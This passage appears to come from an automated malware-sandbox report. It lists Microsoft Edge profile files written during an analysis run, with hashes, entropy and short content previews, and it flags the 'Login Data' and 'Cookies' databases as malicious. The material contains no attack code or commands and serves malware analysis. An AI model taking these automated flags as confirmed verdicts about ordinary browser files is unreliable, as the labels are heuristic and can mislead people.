SHA-512:	2D04C833EA0E8126D3FE49B48A456D114EDC61A7AA4E54975BCEF9EB706E66127ACE4B222EC9B951D7B32FD7F17C9192AD740771E5A1F8D80F07B215A6637C4A
Malicious:	false
Preview:	2024/12/27-08:42:57.148 81c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/27-08:42:57.149 81c Recovering log #3.2024/12/27-08:42:57.149 81c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.209142207666521
Encrypted:	false
SSDEEP:	6:ixXvQ+q2Pwkn23oH+Tcwt8a2jMGIFUt8dxXQoSgZmw+dxX0fDQVkwOwkn23oH+Tg:ixXY+vYfYeb8EFUt8dxX/X/+dxX0cV52
MD5:	4912D0EE4AF3B85C6D457450A273A9BB
SHA1:	1EA5410AC4C75D660F5A40AF8E70B2E7E89B13CD
SHA-256:	EF2AED5A1D4C0232A2C6D1B75A8F8DADB6906BFDC4CDD6F42262DB5732CAF405
SHA-512:	6DCE77032510B51978C1AAB3C2A8F2520CA93121199A28E8A8CA80FC80B68CD84E7D339BB552481288BF9E13AA4263E0956A223A07BFEA0AA81E2B49766EC222
Malicious:	false
Preview:	2024/12/27-08:42:56.034 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/27-08:42:56.035 1cdc Recovering log #3.2024/12/27-08:42:56.039 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.209142207666521
Encrypted:	false
SSDEEP:	6:ixXvQ+q2Pwkn23oH+Tcwt8a2jMGIFUt8dxXQoSgZmw+dxX0fDQVkwOwkn23oH+Tg:ixXY+vYfYeb8EFUt8dxX/X/+dxX0cV52
MD5:	4912D0EE4AF3B85C6D457450A273A9BB
SHA1:	1EA5410AC4C75D660F5A40AF8E70B2E7E89B13CD
SHA-256:	EF2AED5A1D4C0232A2C6D1B75A8F8DADB6906BFDC4CDD6F42262DB5732CAF405
SHA-512:	6DCE77032510B51978C1AAB3C2A8F2520CA93121199A28E8A8CA80FC80B68CD84E7D339BB552481288BF9E13AA4263E0956A223A07BFEA0AA81E2B49766EC222
Malicious:	false
Preview:	2024/12/27-08:42:56.034 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/27-08:42:56.035 1cdc Recovering log #3.2024/12/27-08:42:56.039 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3a240743-52ef-4db1-b3a9-41698ebb76bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.788754913993502
Encrypted:	false
SSDEEP:	3:YWRAW4J2LSQ:YWyW5SQ
MD5:	3BB76EC23C5506830EAD56540E06159F
SHA1:	94695E47D907E559E91E677CEC4EB763DC0C5CA9
SHA-256:	6B40F4AE548688A472BE3CA0C1B08ECF520B31E706FEC0F9793B4666134EBA06
SHA-512:	307F9BD06CA5EE753ACDC450CF1599DFC8ED080D9A1B19D752DD9B7950377A5B04E44D374F12ED76ABD74961C2B1F8AD6C93E4663EA77F5D6E066570C1AA6BAD
Malicious:	false
Preview:	{"sts":[],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6253eca3-d1be-445b-801a-b8822c8847e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7461944e-f0b6-4b44-9705-510903921ef0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\94080957-496b-4ff1-83cb-79e92dad5f27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	5.307903408543986
Encrypted:	false
SSDEEP:	24:YXsZ1ZVMdBsJZFRudFGcs8eyZ6ma3yeebsiiZFGJ/dbG7nby:YXsZD8s/fcdswleebsiWgzbZ
MD5:	ED33DCDEAF149C4AE18ACBDC7887313C
SHA1:	1FC007AF28B0D43C9CCFED84AB3DDE28411235DA
SHA-256:	E2DED32E94779DD57BA0C393898C024847A64463CBC4C272A6AB298F02805887
SHA-512:	38C09162BCC08E7D8EC3AFB2FD365B5DD04739411D5BDA097BFD8C3F91756E55F9855134628932A861C986409D19757B3262352D1C08515B4938AB1CCCC3D290
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382372580139897","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382372584414862","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379874205401316","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382372636036464","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://w

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9cf22e7e-d256-48ef-8f33-d9f73c8f9761.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3f147.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF48a79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39481.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4123c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF43c79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF3b056.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a1ca8dc0-442a-4ae3-8f5c-58908dc2485f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bc228142-e4e2-4137-9000-8cb57ba039fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d6ec89c3-cb23-4e1a-aff2-4d929e5a196a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7727
Entropy (8bit):	4.912703417258029
Encrypted:	false
SSDEEP:	96:sV85qlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gS5Ak:sV85beJmmAlNY2wAYPpj+FVA3I/SFJf
MD5:	08430C1D82FF0CB8D26F1E26A563D3F1
SHA1:	0E439808B7859C08C157B802B8FE66AF247ECB6C
SHA-256:	6892514D7FA6CA4041D800F32008A58F45D520BAEE27F271899792F5F753DE35
SHA-512:	D86D0ECA96C0FD81BC10CFAF4726C4B4ADD868FB78C5F99BAA5CDC872F1A3326B1208E40C5CCB38A4D76387A3658619BA585357BF020C301ED143C73BE3E416D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"last_update_date":"133407612

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c12e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7727
Entropy (8bit):	4.912703417258029
Encrypted:	false
SSDEEP:	96:sV85qlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gS5Ak:sV85beJmmAlNY2wAYPpj+FVA3I/SFJf
MD5:	08430C1D82FF0CB8D26F1E26A563D3F1
SHA1:	0E439808B7859C08C157B802B8FE66AF247ECB6C
SHA-256:	6892514D7FA6CA4041D800F32008A58F45D520BAEE27F271899792F5F753DE35
SHA-512:	D86D0ECA96C0FD81BC10CFAF4726C4B4ADD868FB78C5F99BAA5CDC872F1A3326B1208E40C5CCB38A4D76387A3658619BA585357BF020C301ED143C73BE3E416D
Malicious:	false
